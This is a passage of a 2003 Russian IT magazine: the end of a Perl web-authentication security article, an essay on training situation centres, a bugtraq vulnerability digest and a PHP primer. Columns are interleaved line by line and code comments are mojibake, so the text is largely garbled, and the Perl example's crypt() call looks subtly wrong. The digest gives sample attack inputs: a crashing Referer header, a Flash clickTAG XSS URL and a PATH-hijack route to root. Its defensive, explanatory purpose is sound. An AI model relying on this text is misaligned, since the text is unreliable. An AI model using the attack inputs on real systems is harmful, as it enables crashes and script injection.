это происходит в 2 шага: По закрытию браузера, либо по истечении времени хэш
 Аутентификация. приходит в негодность. Хэш можно раздавать всем дру-
 Изменение параметров получения логов. зьям и знакомым хакерам. Это им даст возможность под-
бирать параметры, в том числе и пароль, т.к. примерное
Возникает вопрос, каким образом мы на втором шаге время они могут знать, IP тем более. Значит, нужен еще
узнаем о том, что именно хозяин логов делает измене- один параметр. Чтобы подобрать пароль, нужно знать вре-
ния или просматривает информацию? Об этом заботит- мя, его можно угадать, но если сделать его точным до
ся первый шаг следующим образом: после аутентифи- миллисекунд, то перебор становится затруднен.
кации (в случае успеха) на странице изменения парамет- Теперь подумаем немного. Пользователь присылает
ров появляется скрытый атрибут: нам хэш. А нельзя ли исключить то, что у пользователя
хранится этот хэш? Исключить это можно, передавая
<INPUT NAME="logi" TYPE="hidden" VALUE="123">
пользователю лишь идентификатор сессии. Все правиль-
но, этим мы исключаем возможность подбора данных
где VALUE – имя пользователя. Больше никаких данных пользователя по хэшу, не теряя при этом ничего. Соот-
не требуется, что дает нам возможность, во-первых, пе- ветственно, данные, полученные от пользователя, мы ас-
рейти непосредственно ко второму шагу без аутентифи- социируем с номером сессии, при этом пароль мы все
кации, а нужное имя придумать какое угодно, например же приводим в состояние хэша. Вот мы и получили безо-
любимой подруги. Данное свойство кривой аутентифи- пасную схему аутентификации со своей стороны.
кации позволяет просматривать чужую статистику Остаются ошибки браузера. В данном случае возмож-
пользования Интернетом, телефоны и подобную приват- на атака следующего вида: пользователь после прочте-
ную информацию. ния «нехорошего» письма попадает на страницу взлом-
А наша задача состоит в том, чтобы обеспечить на- щика, где уже скрыто в невидимые фреймы грузятся не-
дежную защиту от подобного безобразия. Теперь мы по- обходимые страницы, после чего содержимое страниц
нимаем, что вариант без куков становится еще и неудоб- отправляется взломщику. Тут уже жертве придется про-
ным не только со стороны клиента. Решение задачи ле- сто-напросто ставить заплатки.
жит где-то рядом: нам необходимо уметь создавать ко-

78
безопасность
Микро-система sub CreateID
{
Давайте рассмотрим поближе, как должна работать сис-
тема и приведем некоторые примеры, а начнем мы с того, return 0;
}
что клиент заходит на главную страницу. Изначально у
пользователя нет аутентифицирующих куков. Пользова- Данная функция содержит следующие шаги:
тель заполняет аутентифицирующие поля (Логин/Пароль)  подготовка данных для создания сессии;
и отправляет следующую форму серверу:  сохранение параметров сессии с самим номером сессии;
 отправка кука с номером сессии.
<form action='cgi–bin/auth.cgi'>
<input name='login' type='text'>
<input name='password' type='password'> Я не считаю необходимым навязывать способы фор-
</form> матирования данных, у каждого они свои, поэтому пого-
ворим немного об уникальности сессий. Как вы сами по-
Скрипт теперь должен проверить, регистрировался ли нимаете, каждая сессия должна быть уникальной, и
тут такой пользователь или нет. Если не регистрировал- нельзя, чтобы номера сессий пересекались. Поэтому
ся, предложить повторить попытку или зарегистрировать- было бы хорошо, чтобы номер сессии зависел от пара-
ся. Если полученные данные верны, тогда формируется метров, ассоциированных с сессией. Время начала сес-
сессия, а клиенту возвращается идентификатор в куках. сии – подходящий вариант, но это уже будет выдавать
Тут хочется отметить следующие моменты: обязательно один из параметров, поэтому лучшим способом будет
проверяйте только POST-данные. Количество попыток вести список сессий, по которому будет легко опреде-
ограничьте тремя, после чего просто заблокируйте акка- лить отсутствие номера сессии, а собственно номер сес-
унт на некоторое непродолжительное время с данного IP сии генериться случайно. Выудить полезную информа-
(1-2 часа). цию не получится, а сворованный идентификатор сес-
Предположим, что пришедшие данные лежат в хэше сии ничего не даст (опять же кроме сложной атаки с ис-
%POST (удобным в этом плане является модуль WebIn с пользованием spoofing IP).
сайта dklab.ru). В примере мы будем его использовать Основной принцип: минимум критичной информации
лишь для создания хэша с параметрами от пользователя у пользователя и в передаваемых данных.
%POST и %COOKIE. Тогда инициализация скрипта будет Если на вашем сайте авторизированные пользовате-
следующей: ли, например, только добавляют статью, а дальше их ав-
торизация ни к чему, тогда лучшим вариантом будет во-
use WebIn(1); обще отсутствие работы с куками, и любое действие, раз-
if (exists($COOKIE{id})) {CheckID()} # åñëè â êóêàõ ïðèøåë решенное только избранным, должно идти параллельно с
# ïàðàìåòð id òîãäà íóæíî åãî ïðîâåðèòü авторизацией.
$ip=$ENV{REMOTE_ADDR}; И еще один момент: я рекомендую по минимуму ис-
# òóò íåîáõîäèìà ïðîâåðêà пользовать чужой код, а если уж используете, то вы дол-
# âàëèäíîñòè IP è íà çàáëîêèðîâàííûå IP
жны представлять, что, где и как обрабатывается. Неко-
$login=$POST{login}; торые люди смело ставят такие вещи, как YABB либо чу-
$password=crypt($login,$POST{password});
жие гостевые книги, в большинстве которых есть дыры. В
том же YABB допускается вставка FLASH, а это уже при-
($sec,$min,$hour,$mday,$mon,$year)
= (localtime(time))[0,1,2,3,4,5]; знак того, что можно легко устроить XSS-атаку.
$mon+=1; Еще один совет: чем больше код (ваш или чужой, а
$hour="0$hour" if ($hour<10);
$min="0$min" if ($min<10); особенно чужой), тем больше вероятность ошибок в нем.
$mday="0$mday" if ($mday<10); Используйте только то, что действительно считаете необ-
$mon="0$mon" if ($mon<10);
$year+=1900; ходимым.
$time=$year.$mon.$mday.$hour.$min.$sec;
Некоторые волшебные места
За последнее время находятся удивительные способы
Теперь четыре скаляра содержат необходимые для нас получения критичной информации. Если вы пишете соб-
данные (логин, пароль, IP, время обращения). ственную систему, то вам необходимо обратить внима-
Далее, нам необходимо прочитать имя, хэш пароля и ние на следующий момент. Ответ от сервера в качестве
сравнить их с полученными, для простоты представим, что результата аутентификации необходимо возвращать по
пользовательские данные из базы уже лежат в скалярах истечении определенного времени, в среднем равного
$login_, $password_. времени неудачной аутентификации. Что это значит? Про-
сто по времени задержки можно узнать наличие логина в
if ($login eq $login_ && $password eq $password_) {CreateID()} базе. Говоря простым языком, можно составить список
else {WrongAuthorisation()}
пользователей, который в дальнейшем можно применять,
При неудачной попытке авторизации увеличивается например, для подбора паролей по словарю, либо исполь-
счетчик количества авторизаций, и в случае превышения зовать список, как готовый спам-лист. Реализуется задер-
лимита блокируется IP на некоторое время. жка ответа достаточно просто: первым делом организуй-
Теперь рассмотрим подробнее функцию &CreateID: те кэширизацию ответов. Неплохим примером может по-

№5(6), май 2003 79


безопасность
служить модуль с dklab.ru (WebOut.pm), либо неплохой Данные проблемы ставят перед нами задачу. Оказы-
микро-пример на jkeks.far.ru/ret, модуль err.pm. Суть зак- вается, анонимные пользователи так же должны иметь
лючается в том, что весь вывод накапливается, после го- сессии, их аутентификация происходит лишь по номеру
товности данных они отправляются. сессии, который закреплен за IP-адрес. Это исключит DoS,
Другая менее популярная проблема небольших про- но не DoS-атаки. Каждая сессия по своему завершению
ектов может существовать в самом процессе обработки должна удалять временные файлы. Вообще было бы пра-
POST-запросов. Дело в том, что в HTML-форму можно вильнее получать только те данные, которые мы запра-
положить собственный параметр. шивали и именно того объема, который мы хотим.
Если на сервере используется правильный обработ-
<input name='login' type='file'> чик MIME, то последствия вообще сложно предсказать,
потому как стандарт MIME предусматривает много каких
Собственно, речь идет о наличии не ASCII-символов. вещей. Именно поэтому приходящие формы советую об-
Необходимо иметь четкую и простую проверку, потому как рабатывать несложными алгоритмами уже упомянутых
данные логина сравниваются с содержимым базы, и не- проектов. Кстати, cgi-lib так же неплох в этом отношении.
редко такие параметры передаются системам управле- Как вы понимаете, в данные стандарты заложена ошиб-
ния базами данных, где существуют свои критичные сим- ка. Стандарт MIME предназначен для почтовых сообще-
волы, т.е. необходим хороший фильтр данных. Кроме того, ний, а включение его в POST-ответы принесет немало бед,
необходимо рассмотреть следующий пример: некоторые из них нам уже показала malware.com.
Хочется обратить ваше внимание на еще одну пробле-
-----------------------------7d339828e8 му, связанную с UNICODE и, собственно, Mozilla-браузе-
Content-Disposition: form-data; name="login";
filename="longfilename.txt" ром. Как известно, с настройками по умолчанию Mozilla
Content-Type: text/plain отправляет данные формы в UNICODE, что значительно
увеличивает объем данных. Тут проблемы вовсе нераз-
Данные: решимы средствами стандартов, так как однозначное оп-
ределение UNICODE невозможно, потому как нет иден-
тифицирующих UNICODE параметров нигде. Точнее, их
-----------------------------7d339828e8
Content-Disposition: form-data; name="login" может не быть. Анализировать приходящие данные на
UNICODE нельзя, потому как нельзя будет избежать оши-
AAABBBCCCÀÀÀÁÁÁÂÂÂ
-----------------------------7d339828e8-- бок, а значит увеличится вероятность взлома. Рассмот-
рим пример содержимого POST от Mozilla:
Удивительный запрос, да? Логин приходит в виде фай-
ла? Проблема существует в некоторых обработчиках -----------------------------41184676334
Content-Disposition: form-data; name="login"
форм. Какие проблемы тут могут быть?
1. В логин попадут неотфильтрованные данные. AAABBBCCC&#1040;&#1040;&#1040;&#1041;&#1041;&#1041;&#1042;&#1042;&#1042;
-----------------------------41184676334--
2. Атакующий сможет как минимум создать времен-
ный файл в системе, занять канал. Подобное содержимое должно преобразоваться из
Это связано с универсальностью обработки входящих UNICODE, после чего пройти все фильтры по критичным
данных некоторых несложных модулей. Некоторые даже символам и длине данных, но, как я и написал, однознач-
коммерческие буржуйские универсальные модули обра- но нельзя определить UNICODE, поэтому входящие дан-
ботки входящих данных автоматически создают времен- ные будут скорее испорчены. На этой оптимистической
ные файлы перед тем, как определить необходимость этих ноте я и хотел бы закончить свой рассказ о подводных
данных, т.е. файлы сначала создаются, а затем уже скрипт камнях аутентификации через WEB.
решает, нужны ли эти данные или нет.

80
образование

ОБУЧАЮЩИЕ
СИТУАЦИОННЫЕ
ЦЕНТРЫ

АНДРЕЙ ФИЛИППОВИЧ
82
образование
В феврале 2003 г. в РГГУ прошла конференция «Ситуа- ситуационных залах АЭС и аэропорта. В будущем, при
ционный центр как инструмент моделирования процессов увеличении числа СЦ, возможен рост спроса на соответ-
для подготовки специалистов». Она была посвящена воп- ствующих специалистов.
росам создания ситуационных центров в образователь- Новые (создаваемые) СЦ, которые должны осуществ-
ных учреждениях. лять постоянный мониторинг, не позволяют отработать
Термин «Ситуационные Центры» в настоящее время име- экстренные ситуации до их возникновения, поэтому для
ет множество трактовок, поэтому важно подчеркнуть, что его них всегда существует необходимость в системе обуче-
создание не сводится к закупке современной компьютерной ния. В центрах, где постоянный контроль несущественен,
и презентационной техники или к использованию методов си- можно предусмотреть специальный режим работы – ре-
туационного моделирования и понятия “ситуации” [5]. В пос- жим обучения. Проиллюстрируем необходимость созда-
леднем случае под ситуацией можно понимать практически ния ОСЦ на следующем примере. СЦ вооруженных сил
любое явление в мире, однако это не позволяет каждую ав- требуются специалисты для работы в мирных и боевых
томатизированную систему считать СЦ. условиях. Центр работает непрерывно и позволяет на-
В рамках этой статьи под СЦ будем понимать сово- брать необходимую статистику для принятия решений в
купность программно-технических средств, научно-мате- условиях мира. Боевые действия никогда не велись, и их
матических методов и инженерных решений для автома- невозможно полноценно имитировать с помощью учений,
тизации процессов отображения, моделирования, анали- поэтому создание ОСЦ необходимо.
за ситуаций и управления. СЦ позволяет автоматизиро-
вать обработку самой ситуации, а не только исходных Возможность создания ОСЦ
данных, необходимых для ее последующего выявления и Рассмотрим существующие возможности создания обу-
анализа субъектом. чающих ситуационных центров. Для этого выделим три
основных варианта разработки ОСЦ:
Необходимость создания обучающих СЦ 1. для действующего СЦ;
Рассмотрим необходимость создания обучающих ситуа- 2. для разрабатываемого СЦ;
ционных центров (ОСЦ) с точки зрения подготовки сотруд- 3. для универсального СЦ.
ников для работы в действующем центре. Персонал СЦ
условно разделим на две группы: инженеры программно- 1. ОСЦ можно реализовать как копию действующего
технического обеспечения и оперативный состав. Инже- центра или как его упрощенную модификацию. Создание
неры осуществляют контроль, настройку, ремонт, замену полной копии в большинстве случаев экономически не-
и доработку используемой техники и программных про- выгодно. Упрощенная модификация должна воссоздать
дуктов. Оперативный состав проводит анализ ситуаций и редуцируемые части на информационном уровне. В про-
принимает управленческие решения. тивном случае ОСЦ будет представлять собой лишь на-
Обе группы могут работать в двух режимах – индиви- бор отдельных компонент. Такой подход реализации ОСЦ
дуальном и коллективном. В первом случае каждый со- приводит к идее о создании виртуального СЦ, который
трудник работает только в своей фиксированной области полностью или частично функционирует на программном,
и не согласовывает свою деятельность с другими члена- а не на техническом или физическом уровне.
ми группы. Во втором случае сотрудники могут работать В ОСЦ должна существовать эффективная система
над решением общей проблемы и должны учитывать воз- оценки обучающего персонала, которая может быть пост-
можные влияния своих решений на деятельность коллег. роена на основе экспертной системы. Если в нее заложить
Потребность в создании СЦ для обучения специалис- опыт множества специалистов, то она может оказаться
тов, работающих в индивидуальном режиме, может воз- более эффективной, чем индивидуальное обучение.
никнуть только в случае, когда реализация группы отдель- Другим вариантом тестирования обучающихся явля-
ных рабочих мест более трудоемка, чем разработка цент- ется сравнение их деятельности с работой экспертов. Для
ра в целом. Необходимость подготовки инженеров про- этого необходимо обеспечить совместное поступление
граммно-технического обеспечения в СЦ существенно информации в обучающий и действующий СЦ или осу-
меньше, чем оперативного состава. Это связано с тем, что ществить протоколирование деятельности экспертов за
центр для обеспечения повышенной надежности почти все- длительный промежуток времени для последующего ис-
гда строится на модульном принципе, дающем возможность пользования в ОСЦ. Последнее решение может оказать-
изучать его работу на примере отдельных компонент. ся менее предпочтительным, т.к. ситуация в системе по-
Целесообразность создания ОСЦ определяется по- стоянно изменяется. Оптимальным вариантом является
требностью в подготовке большого числа специалистов, возможность использования обоих подходов.
способных работать в коллективном режиме и невозмож- 2. На этапе проектирования нового (нетипового) СЦ
ностью или экономической невыгодностью индивидуаль- нужно учитывать возможность его использования для
ного обучения. обучения. Если постоянный мониторинг за ситуацией не
В настоящее время количество СЦ в России мало. обязателен, то следует предусмотреть несколько режи-
Кроме того, почти все они являются уникальными, что со- мов работы.
здает существенное препятствие для подготовки «универ- При отсутствии опыта и накопленной базы управлен-
сального» работника. Например, невозможно обучить ческих решений разработка экспертной или сравниваю-
диспетчера, способного одинаково хорошо работать в щей системы практически невозможна. Для преодоления

№5(6), май 2003 83


образование
этой проблемы в СЦ необходимо создать систему ситуа- Для моделирования процессов используется широкий
ционного моделирования, позволяющую генерировать класс систем имитационного, математического, графичес-
потоки входной информации. Тогда группа специалистов кого и физического моделирования. Преимущество СЦ
сможет оценить результаты принятия решений оператив- может состоять только в совместном (интегрированном)
ным составом и сформировать соответствующую экспер- использовании различных систем. Однако в настоящее
тную базу знаний. время, во-первых, не существует развитых интегрирован-
Важно отметить, что при таком обучении знания фор- ных систем моделирования [2, 3], во-вторых, необходимость
мируются «эволюционно» на основании экспериментов. их использования для обучения пока не обоснована.
Правила работы, критерии и методы оценки могут значи- СЦ можно использовать для моделирования различ-
тельно изменяться, что не позволяет использовать тра- ных ситуаций, но для вовлечения учащегося в ситуацию
диционный подход к обучению. достаточно использовать более простые решения, напри-
Создание виртуального СЦ весьма выгодно с точки мер, сетевую компьютерную (деловую) игру. Такое моде-
зрения стоимости, контроля, обучения и реконструкции. лирование ситуаций позволяет осуществлять обучение
Вопрос о том, когда его лучше реализовать – до построе- методом «проб и ошибок», а возможность коллективной
ния реального центра, после или одновременно, выходит игры избавляет от детерминированности алгоритмов си-
за рамки обсуждаемой темы. Отметим лишь, что в слу- стемы. Необходимость автоматизированного анализа
чае реализации управления реальным СЦ через вирту- и отображения ситуаций (основные функции любого СЦ)
альный, возникает возможность дистанционного управ- при обучении отсутствует, т.к. учащийся должен сам на-
ления и обучения. учиться выполнять эти функции. Исключение составляет
3. Разработка универсальных СЦ, которые можно на- процесс обучения, где преподаватель не задействован, а
строить на имитацию работы различных систем, в насто- его функции выполняет автоматизированная система.
ящее время практически невозможна, т.к. не существует Важно подчеркнуть, что использование СЦ возможно
развитой теории и стандартов построения самих центров. только в рамках семинарских и лабораторных занятий.
При наличии виртуальных СЦ необходимость в создании Его использование как инструмента для чтения лекций
универсального центра отсутствует. весьма ограничено. Это связано с тем, что преподаватель
может формировать, а учащийся – воспринимать только
Использование СЦ как нового один поток аудиовизуальной информации.
инструмента подготовки специалистов Можно предположить фантастический случай, когда
В настоящее время ОСЦ не существует, но в образова- в СЦ осуществляется непрерывное обучение студентов,
нии используются его техническая составляющая (аудио- появляющихся в произвольное время и имеющих разный
визуальное и коммуникационное оборудование), а также уровень подготовки. На экране коллективного пользова-
некоторые технологии ситуационного анализа и модели- ния отображается несколько фрагментов лекций, иллюс-
рования. Кроме того, в работе [1] имеются ссылки на цен- тративные и пояснительные элементы, что дает студенту
тры, которые могут работать в обучающем режиме. возможность читать (слушать) лекцию с различной сте-
Изложенные выше материалы подтверждают относи- пенью подробности в удобное время. Такой вариант ис-
тельную новизну использования СЦ как инструмента для ключает из системы обучения преподавателя-лектора и
обучения. Здесь следует отметить эволюционное обуче- может возникнуть только при невозможности индивиду-
ние, которое по своей структуре близко к деятельности ального изучения материала на локальном компьютере.
внутри научно-исследовательского коллектива. Необхо-
димость использования такого подхода как основного, а Подготовка преподавателей для СЦ
не факультативного, требует серьезного изменения ди- В своем выступлении на конференции С.А. Кувшинов,
дактических и других педагогических приемов. В рамках проректор по информатизации и новым технологиям об-
ОСЦ необходимо также разработать методику оценки разования РГГУ, поставил вопрос о необходимости под-
деятельности учащегося в коллективе при отсутствии чет- готовки преподавателей для работы в ОСЦ и разработки
ко сформулированной цели. соответствующего учебно-методического комплекса. Эта
На указанной выше конференции был поставлен воп- тема также является актуальной для открытой в этом году
рос о возможности использования СЦ как нового инстру- новой специальности «Информационные технологии в об-
мента преподавания гуманитарных, общественных и тех- разовании – 073700», в рамках направления подготовки
нических дисциплин. Прежде чем ответить на этот воп- специалистов «Информационные системы – 654700».
рос, необходимо сформулировать цель и область приме- С одной стороны, на основе изложенного материа-
нения нового инструмента обучения. СЦ можно исполь- ла можно отметить, что обучающий работе в конкрет-
зовать для получения навыков по определению и оценки ном СЦ преподаватель должен иметь опыт работы с си-
ситуаций, а также для понимания принципов работы и стемой и поэтому не нуждается в специальной подго-
процессов моделируемой системы. Общественные дея- товке в области ситуационных систем, а использова-
тели (политики, экономисты, юристы, социологи и др.), ние СЦ как нового инструмента для преподавания в на-
несомненно, должны обладать этими навыками. Можно стоящее время неактуально.
также предположить, что в связи с глобализацией и науч- С другой стороны, существует необходимость созда-
но-техническим прогрессом эти навыки станут необходи- ния ОСЦ и разработки новых методик преподавания. От-
мыми для большинства членов общества. сюда следует, что каждый СЦ (ОСЦ) должен иметь в сво-

84
образование
ем штате специально подготовленных преподавателей. Их циалистов данного профиля возможен в рамках новых
основными задачами являются контроль знаний, оценка специальностей, например, «Компьютерная лингвистика
принимаемых решений и управление потоками входных и семиотика»[6] направления подготовки специалистов
данных для формирования типовых и экстренных ситуа- «Информатика и вычислительная техника – 654600».
ций. Для этого преподаватель должен знать устройство СЦ,
принципы и механизмы его работы, а также допустимые и Литература.
наиболее вероятные значения входных параметров. Это 1. Научно-практическая конференция «Ситуационные
требование в большинстве случаев недостижимо, поэтому центры – решения и проблемы. Взгляд экспертов»
необходимо либо формировать специальную группу пре- 30-31 октября 2002. Тезисы выступлений. М. Polymedia,
подавателей и специалистов, либо использовать эффек- 63 с.
тивные средства поддержки принятия решений. 2. Макет интегрированной системы ситуационного моде-
Существует следующие три принципиальные возмож- лирования: Отчет по НИР Х21-2002/МГУП;
ности подготовки преподавателей для СЦ: Рук. Ю.Н.Филиппович – М., 2002.
 подготовить «универсального» преподавателя (напри- 3. Филиппович А.Ю. Интеграция систем ситуационного,
мер, в рамках специальности «Информационные тех- имитационного и экспертного моделирования для уп-
нологии в образовании»), и адаптировать его знания равления рынком полиграфических услуг. Материалы
и навыки для работы в конкретном СЦ; 42-й научно-технической конференции преподавате-
 сформировать преподавателей из опытных специа- лей, сотрудников, и аспирантов МГУП. – М. Изд-во
листов СЦ; МГУП, 2002 – С. 31-33.
 подготовить специалистов для работы в конкретном 4. Филиппович А.Ю., Сейфулин А.И., Саушкин А.Е. Ма-
СЦ (в области СЦ) с ориентацией на преподавательс- кет программного комплекса полиграфического ситу-
кую деятельность. ационного центра. Проблемы полиграфии и издатель-
ского дела. 2002, №3. – С.41-62.
Выбор наиболее подходящего варианта подготовки за- 5. Филиппович А.Ю. Интеграция систем ситуационного,
висит от множества факторов и требует дополнительного имитационного и экспертного моделирования. М., 2003.
исследования. На взгляд автора, преподавательский состав 310 с.
СЦ должен включать представителей из всех трех групп. 6. Филиппович Ю.Н., Филиппович А.Ю. Специальность
Независимо от того, как подготовлен преподаватель, «Компьютерная лингвистика и семиотика» // Интеллек-
он должен владеть навыками работы с ситуационными туальные технологии и системы. Сборник учебно-ме-
системами, системами поддержки принятия решений тодических работ и статей аспирантов и студентов.
(CASE-системы, экспертные системы, системы имитаци- Выпуск 5 / Сост. и ред. Ю.Н.Филиппович. – М.: Изд-во
онного моделирования), обучающими, психолингвистичес- ООО «Эликс+», 2003. – С.7–140.
кими и другими семиотическими системами. Выпуск спе-

№5(6), май 2003 85


bugtraq
Неавторизованный доступ DoS против mod_access_referer
в Oracle E-Business Suite для Apache web server
Уязвимость обнаружена в Oracle E-Business Suite в Report Уязвимость обнаружена в модуле mod_access_referer для
Review Agent (RRA), также известный как FND File Server Apache web server. Удаленный пользователь может ава-
(FNDFS). Удаленный пользователь может получить дос- рийно завершить работу процесса модуля.
туп к различным приложениям и системным файлам. Safemode.org сообщил, что Apache «mod_access_referer»-
Как сообщается, удаленный пользователь может под- модуль содержит недостаток в функции find_allowdeny().
делать посланный запрос к TNS Listener порту, чтобы по- Удаленный пользователь может послать некорректное
лучить доступ к файлам на системе. значение для «Referer»-заголовка, которое заставит фун-
Согласно Integrigy, уязвимость в communications кцию ap_parse_uri_components() не проинициализировать
protocol, который используется в Oracle Applications «uptr.hostname»-указатель. В результате is_ip() функция
FNDFS, позволяет удаленному пользователю механизм попытается прочитать пустой (NULL) указатель, что при-
определения подлинности операционной системы, базы ведет к аварийному завершению работы модуля. Пример:
данных и приложения, чтобы получить произвольные
файл из Oracle Applications Concurrent Manager серве- Referer: ://its-missing-http.com
ра. Пользователь может загрузить произвольные фай-
лы, доступные для чтения учетными записями «oracle» Уязвимость обнаружена в Apache mod_access_referer 1.2.
или «applmgr».
Удаленный пользователь может таким образом полу- Межсайтовый скриптинг в нескольких
чить доступ к файлам в Oracle Applications 10.7 и Oracle Macromedia Flash-приложениях
Applications 11.0, если уязвимая служба установлена на Уязвимость обнаружена в нескольких Macromedia Flash-
параллельном узле обработки (Concurrent Processing приложениях. Злонамеренная веб-страница может за-
node). В Oracle E-Business Suite 11i, уязвимая служба ус- ставить Flash-содержание выполнить произвольный код
тановлена на всех прикладных уровнях. сценария.
Одна из особенностей Flash позволяет внедрять
Две уязвимости в mgetty fax «clickTAG» тэг для прослеживания пользователей в рек-
Две уязвимости обнаружено в mgetty fax. Переполнение бу- ламных целях. Тэг «clickTAG» не проходит проверку пра-
фера позволяет удаленному пользователю завесить систе- вильности, в результате чего удаленный пользователь
му и потенциально выполнить произвольный код. Локаль- может внедрить произвольный код cценария в этот тэг.
ный пользователь может получить повышенные привилегии. Удаленный пользователь может создать злонамерен-
Удаленный пользователь может эксплуатировать пе- ную HTML-страницу, содержащую специально обработан-
реполнение в «cnd-program», устанавливая специально об- ное значение clickTAG в Flash-приложении. В результате
работанное значение для CallerName-параметра (Caller ID). удаленный пользователь может выполнить произвольный
В результате удаленный пользователь может выполнить код сценария в браузере пользователя, который может
произвольный код на целевой системе. использоваться для организации различных нападений
Также сообщается, что механизм управления досту- против веб-приложения. Пример:
пом, который разрешает или запрещает факcимильные
привилегии, может быть обойден локальным пользовате- http://www.example.com/victim.swf?clickTag=XXXX
лем. Согласно сообщению, faxspool использует переза-
писывемый spool-каталог для исходящих факсов. Локаль- XXX – произвольный код сценария.
ный пользователь может неавторизованно послать про-
извольный факс. Небезопасный вызов System() позволяет
Уязвимость обнаружена в Mgetty 1.1.29. локальному пользователю получить
root-привилегии
Удаленное выполнение произвольных Уязвимость обнаружена в Mac OS X DirectoryService. Ло-
команд в KDE desktop environment кальный пользователь может получить root-привилегии на
Уязвимость обнаружена в KDE desktop environment в об- системе. Удаленный пользователь может аварийно завер-
работке PostScript и PDF файлов. Удаленный пользова- шить работу DirectoryService.
тель может выполнить произвольные команды на целе- Как сообщает @stake, DirectoryService использует зап-
вом сервере. рос system(), чтобы выполнить touch(1)-команду после за-
Как сообщается, удаленный пользователь может со- пуска, но не в состоянии определить полный путь к touch-
здать произвольный PostScript или PDF файл, который при команде. Локальный пользователь может изменить пере-
загрузке целевым пользователем выполнит произвольные менную PATH, чтобы сослаться на другой touch(1)-файл,
команды на компьютере целевого пользователя с приви- содержащий произвольный код. Этот код будет выполнен
легиями целевого пользователя. Уязвимость связана с с root-привилегиями.
тем, что KDE вызывает ghostscript и kghostview без пара- Также сообщается, что удаленный пользователь мо-
метров –dPARANOIDSAFER и dSAFER. жет аварийно завершить работу службы, периодически
Уязвимость обнаружена в KDE 3.11 и более ранних подключаясь к 625 порту.
версиях (3.х и 2.х). Уязвимость обнаружена в Mac OS X DirectoryService 10.2.4.

88
web

Я думаю, не будет большим секретом, что с помощью простого HTML-кода можно создать лишь
статическую страничку. Но этого в современном быстроменяющемся мире уже недостаточно,
необходимо быстро реагировать на изменения и выдавать новую информацию пользователю.
К тому же возникает необходимость собрать информацию, например, с помощью анкет,
автоматически ее обработать и выдать пользователю. С помощью HTML, увы, такие задачи решить
невозможно. Какие только технологии не применяются сейчас для придания интерактивности веб-
странице: DHTML, ASP, Perl, Java, ColdFusion. Есть в этом немаленьком списке и PHP. Не рассчитывал
создатель данного языка Расмус Лердорф (Rasmus Lerdorf), что его язык приобретет такую большую
популярность, а первоначально задумывал PHP исключительно для использования в своих личных
целях, о чем свидетельствует даже расшифровка аббревиатуры – Personal Home Page (персональная
домашняя страница).

СЕРГЕЙ ЯРЕМЧУК

90
web
Это была невзрачная CGI-оболочка, написанная на языке И четвертый – в духе JavaScript:
Perl. Позже, чтобы избавиться от значительных непроиз-
водительных затрат, Perl-оболочка была полностью пере- <script language="php"> PHP-èíñòðóêöèè </script>
писана на языке С. Затем все произошло так, как и с боль-
шинством популярных сейчас языков программирования Так как самый лучший способ учебы – это пример, то
(Perl, Python и т. д.): язык понравился, и программисты за- на них и будем потихоньку учиться.
хотели использовать его для своих целей. Так в 1995 году
появилась первая версия программы, содержавшая всего 1.<HTML>
2.<HEAD>
несколько простейших команд, позволявшая организовать 3.<TITLE>Hello</TITLE>
на своей домашней странице счетчик, гостевую книгу и 4.<META HTTP-EQUIV="pragma" CONTENT="nocache">
5.</HEAD>
тому подобное. Сейчас PHP – мощный язык, имеющий в 6.<BODY>
своем арсенале средства для работы с обычными файла- 7.<?php echo "Hello World";
8.?>
ми и базами данных (поддерживается большинство извес- 9.</BODY>
тных SQL-серверов), поддерживающий практически все 10.</HTML>
протоколы, применяющиеся в сети Интернет (HTTP, FTP,
SMTP, POP, IMAP), имеющий механизм регулярных выра- Примечание: нумерация приведена лишь для удобства,
жений и к тому же прекрасно работающий с наиболее по- использовать ее в реальном документе не надо. Как види-
пулярным веб-сервером Apache. Даже официальная рас- те, обычный HTML-документ. Четвертая строка необходима
шифровка аббревиатуры изменилась на PHP – Hypertext для указания браузеру, чтобы он не кешировал образовав-
Preprocessor, вот так в рекурсивном Unix-стиле. шийся документ, иначе файлы будут выдаваться из кеша, а
Что же представляет собой PHP? Это интерпретируе- не запрашиваться у сервера, и вы можете не увидеть вне-
мый язык, код которого встраивается прямо в обычный сенные изменения. Вообще-то для этого можно использо-
HTML-документ. Когда посетитель обращается к вашей вать и встроенную функцию header, для HTTP/1.0 вызов бу-
страничке, то такая программа обрабатывается не брау- дет таким:
зером или сервером, а специальной программой-интер-
претатором. Для того чтобы сервер знал, кто должен об- header("Pragma: no-cache")
рабатывать данный файл, его расширение изменяется на
.php (.phtml, .php3 и другие, в зависимости от настроек А строки 7, 8 просто выводят информацию. Результат
сервера). Программа-интерпретатор, найдя инструкции, можете посмотреть на рисунке 1. Если необходимо ис-
выполняет их и выдает полученный результат, который и пользовать несколько операторов, то все они разделяют-
видит пользователь, сам код остается недоступным. Это, ся между собой «;», кроме последнего: после него ста-
кстати, неплохой способ скрыть комментарии, спрятать вить точку с запятой необязательно.
их в инструкциях PHP, которые пользователь не получа-
ет. При этом статическая часть документа, написанная
на языке HTML, фактически является шаблоном, а изме-
няемая часть формируется при исполнении PHP-инструк-
ций. Синтаксис языка очень напоминает C, а если быть
точнее, то Perl. Те, кто программировал на этом языке, най-
дут много знакомого. Для вставки инструкций PHP в HTML-
документ существует четыре варианта, приведу их все, так
как на различных сайтах их часто можно встретить.
Первый и, наверное, наиболее предпочтительный, так
как принят по умолчанию:

<? php PHP-èíñòðóêöèè ?>

Второй вариант, сокращенный:

<? PHP-èíñòðóêöèè ?> Ðèñ.1.


Теперь давайте узнаем всю информацию об установ-
Для того чтобы ваш интерпретатор понимал его, установи- ленном PHP. Создайте файл такого содержания:
те значение параметра short_open_tag=On в файле php.ini,
который находится в каталоге, куда установлен PHP. <?php phpinfo ?>
Третий вариант предназначен для тех, кто привык ра-
ботать с ASP: Что, мало? А посмотрите, какой выход (рис.2). Кстати,
очень хороший способ узнать все о PHP на том сервере, где
<% PHP-èíñòðóêöèè %> вы собираетесь размещать свои скрипты. Пойдем дальше.
Как и положено полноценному языку программирования, в
опция asp_tags=ON. скриптах возможно использование переменных, например:

№5(6), май 2003 91


web

Ðèñ. 2.

.<?php .<?php
$message="Hello World"; $message="Hello Worl";
echo $message $message=4
?> echo $message
?>
И на выходе получим тот же результат. Это, как вы Переменной можно присваивать и результат выпол-
понимаете, очень удобно, ведь значение переменной мож- нения функции (рис.3):
но изменять. Все переменные, как и в языке Perl, в PHP
начинаются со знака доллара, после которого обязатель- <? $d=date(d.m.Y);
echo "Ñåãîäíÿ $d"
но должен идти алфавитный символ (не цифра) или знак ?>
подчеркивания. Переменным можно присвоить до вось-
ми различных типов данных:
